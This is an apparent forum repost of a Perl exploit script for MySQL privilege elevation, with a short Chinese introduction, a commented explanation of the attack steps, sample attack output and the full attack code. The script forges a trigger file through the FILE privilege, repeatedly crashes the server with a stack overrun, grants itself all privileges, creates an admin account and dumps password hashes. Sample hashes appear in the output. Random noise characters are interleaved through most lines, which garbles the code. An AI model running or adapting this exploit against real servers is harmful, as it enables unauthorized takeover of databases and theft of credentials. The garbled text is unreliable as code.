漏洞在12月1日的Seclist上发布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上测试成功,代码执行成功后会增加一个MySQL的管理员帐号。! g) Y: T3 d4 J; H9 R, f0 k4 X
) Y$ g8 @( G0 _% C9 ^
8 M3 b5 Z8 x2 q
# t1 Y; }- E4 d2 M0 t; G. c/ u 7 z# c; {% t; t4 K$ k
5 ^& Q" D$ H; m c9 suse DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table
6 [2 q3 }% H1 v triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry
5 w/ f* z" m S describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
2 @! k. h) T7 ~: F2 ^* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)% k1 [1 w/ \( [
* INSERT a value into the table so the trigger event gets executed
0 b# D! e3 x& L/ Z4 G* J5 I* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.
5 O* d- Y8 i/ K8 t# C8 E; e! T) r* Crash the MySQL Server again to force it reload the user configuration
: o' x) W# P1 Y( }5 a+ x( r' [* Create a new mysql user with all privileges set to enabled8 r8 z6 q" Q8 a3 \$ a8 h
* Crash again to reload configuration
3 t. L) @) j q U5 n* Connect by using the newly created user
7 D0 b) N7 K4 C; v* The new connection has ADMIN access now to all databases in mysql6 b! _8 U( R% N& e/ [( a7 e: q
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded& o' l$ b, |8 B( H1 x% y/ j- `
* As said the user has FULL ACCESS to the database now3 k E' y% R) `9 E) z% V) C
4 P6 \4 ?; j; H" c% r* S
Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.
/ W' ]& e2 m: G8 i4 i, y9 Z6 ?=cut5 G! _" U* I8 S) t
* r! k3 Q1 T; B# ^& n4 y! x; q2 O4 u
=for comment
7 D6 `$ m9 X' Q' E) g* x! h8 B. S- r3 P3 C# w3 J
user created for testing (file privs will minor privileges to only one database):0 D x, h# u* q3 O/ K
. r8 J: g$ f9 Z8 f6 i, K2 Z, i
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';
/ x# u" ^( z3 W* l+ |3 N7 x0 lQuery OK, 0 rows affected (0.00 sec). J, D' P4 z F! t E9 F" U P
( k& b3 u! w- D4 B& ?% j
mysql> create database lessdb
' ^- Z0 n' ]! `. u- ^! p -> ;
2 c" p2 g6 n0 ^Query OK, 1 row affected (0.00 sec)7 }- f* b+ ?* U/ A. @
" n6 \6 `+ T. k2 L
mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
( r1 E* L4 s# h( rQuery OK, 0 rows affected (0.02 sec)
) X2 i: e, k" _( O) J4 g* \' ]0 i P# V
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;' g5 O, ^& E% R2 D* D" w4 O: Y: M
Query OK, 0 rows affected (0.00 sec)
% y/ b; m9 X8 Q: C3 W7 A# ]1 E3 d, P, A4 G0 `
login with new unprivileged user:) t, m$ i/ ?/ ^' m: t
mysql> select * from mysql.user;
. f% {# Y- |5 ^8 oERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'5 C0 d) ?# z# K7 w& V
5 i* v7 _" K* C5 p2 j, u9 J) A
=cut
1 C+ T& G2 `! I5 e9 r7 n. N! X& p9 ]( L7 S: m' a
=for comment
- [0 S. C4 h2 k2 n3 ?- y5 N+ o: V- d$ p+ U! p9 [
example attack output:. V$ a2 I% |- Y6 ~9 z' i$ v
. ^% M2 _) }" h$ D; r
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl
0 f- m, Y% I+ m2 | |, s8 \select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER. ~; G2 Y0 h* K6 F
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins
C8 v& O" Y1 o, ~ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p
* e1 P5 n% X% o wriv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\9 C2 x9 u) v: }0 [0 Q# t9 Q; c
\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference* F( {# z6 ]! v9 W, m$ H' V
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y/ o5 T0 V) G- H) g
\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
3 g- R% s" M; c% Q4 h5 ~\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\
# X3 s2 K% b, ? R. z- V/ u'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs* h7 i8 b" i% _: ^/ u6 U, A
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati0 {" N+ m" j! G7 U2 H$ a* Y
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
4 n" ]6 P% ~$ T: N5 dvilege_elevation.pl line 44.
# h# ?+ x$ N0 @% q& ^; a/ d6 `DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_0 n, E0 F l7 J2 c
privilege_elevation.pl line 50.2 k: N4 {( M9 w( m1 ?: y( g$ Z
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
6 b, E6 S% O* @5 y" qprivilege_elevation.pl line 59.7 ]9 ?) R3 b7 x L4 V
W00TW00T!: X6 g6 N( v Y5 H
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B/ {& r- V+ G9 z- A# A
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B8 a. V3 ?1 E- t o: Q) \
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
( g* r: N+ a3 _5 [+ {, iFound a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64% z X# E' U7 K6 h2 O* w9 ]5 W9 f
B02C6 U- y5 G3 n5 ^- L1 Z4 ~# p
Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
9 k2 ?6 J6 r: { X7 v9 a* S+ NFound a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
- h& Q# Q5 ~( Q5 Q) k0 ]3 aFound a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC297 B4 b* _& `( w1 Y- ~
Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
^) E0 k7 H7 u* A. J9 jFound a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
) I, G/ p* `) I3 [Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29, `6 i" _: F \/ C0 `
Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC291 a5 p0 p2 w8 i" d* m& E
Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC6 R/ i- s3 c( C1 G+ F z7 F
: d+ g7 r+ X; m0 ]5 G- n; i=cut0 Y7 F1 ?) M2 e* X. e9 Z0 Z3 B
0 w! p: _8 v! c5 h- b0 [$user = "less10";0 n- o7 V; a& U2 \3 Y7 h
$password = "test";
! b4 Y( Y* F* f, I$database = "lessdb10";9 }" _9 ^& L. C4 B O+ E Z6 R
$target = "192.168.2.4";+ _! r o' v- s5 t* q
$folder = "/var/lib/mysql/"; # Linux2 Y. N P9 r8 y/ I; w5 E) t. w
$newuser = "rootedbox2";
( z! S3 k; ?8 }9 ]& D# j5 t( B$newuserpass = "rootedbox2";- ~# I% _( M0 p( z
$mysql_version = "51"; # can be 51 or 508 l5 {) z6 A5 D/ m
6 S2 ~& P! ~+ l9 qif ($mysql_version eq "50") { L% J( _/ ~, s8 w
$inject =% f9 D0 Z N7 i2 m
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
/ X- L" o! l( N9 C, O% l7 N} else {
3 c1 C9 I# Z2 m! [4 M$inject =5 L" E* g: G4 { s
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";( r5 {& V7 k8 P6 _8 ]3 C
}5 k' w3 L4 y* p2 @5 Z9 }, ^
9 H; ^! r9 x% R. }! P
print $inject;#exit;. |7 J- _' D# i
$inject2 =) b- R% a. T g& L9 D# n) `; e
"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";( P- H+ M' |1 b) P1 H [$ g/ y2 b
" j m7 {: C8 d# |( x, Q
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",9 g' ` i/ i4 W- {5 I. s
"$user", "$password",
& l9 p; A# D+ W0 Z' d, _ {'RaiseError' => 0});$ p2 Y' V7 o* c1 |& }0 k
eval { $dbh->do("DROP TABLE rootme") };, x$ h5 o9 W9 @, A L
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
6 v1 K% d' o9 w& m8 k9 D$dbh->do($inject);- K9 {! V( X0 o6 S. ^ x
$dbh->do($inject2);6 a& a8 H6 s/ L! u6 N
! n* Y+ E+ r. v/ M6 p$a = "A" x 10000;- d. m4 ~& ~; q' ?" c' }
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
1 z U# _' Z! O2 R' ~ I: l# \: l' e
sleep(3);
# L" q- k% h$ g
+ q+ c( }# G' F- h/ K- Imy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",; V3 s9 H/ j: y Q, q0 |
"$user", "$password", x! [9 g( E) O3 |9 W$ v
{'RaiseError' => 0});" O+ _9 o9 q/ P3 Z# i. X
7 Q# C5 w! M6 A" S
$dbh->do("INSERT INTO rootme VALUES('ROOTED');");2 O% b* w# X7 j8 F& J, F! p
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");2 A& o; j2 f, u2 u: W
7 u5 n" B* Q1 s3 k
sleep(3);
% s" F, l, o* T7 g! U) o! X) s) G0 A/ T
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",2 S; _3 v6 M' N/ z
"$user", "$password",
( o+ M7 p. S" n f {'RaiseError' => 0});
- n( F% f# p+ } X2 ]* C; T! @
) l$ [) }$ O% @* E: N% Q$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");
7 g: n+ n: R8 c# t$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");1 ] ~+ K' W& c/ s M) x. V
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
; U6 E9 q8 k( o: U* _- _+ k& N/ d
sleep(3);
9 a/ W E/ g) O0 _& c$ `# a6 h9 U1 S# `- Y# g0 `. j' [
my $dbh = DBI->connect("DBI:mysql:host=$target;",
- G, t0 u2 G/ C2 T# W, ? $newuser, $newuserpass,/ e' ^0 c+ `( p: X- u$ c% m
{'RaiseError' => 0});: Y, |1 h/ U$ D: l5 m
) |" x7 L) C$ n$ ?3 R( o2 cmy $sth = $dbh->prepare("SELECT * FROM mysql.user");
) g' C+ C. P% S6 P, T% y8 G p$sth->execute();
9 F' l1 r. m. K' ^" d2 M
8 { a1 v3 D+ U/ M: fprint "W00TW00T!\n";- R& `! m( X0 C3 T7 ?
. f# f& V& x- q: fwhile (my $ref = $sth->fetchrow_hashref()) {
3 L! b2 g% v; Y- yprint "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";/ J0 _$ F J; e4 }6 L
} b( B3 y1 l7 L2 Q
$sth->finish(); |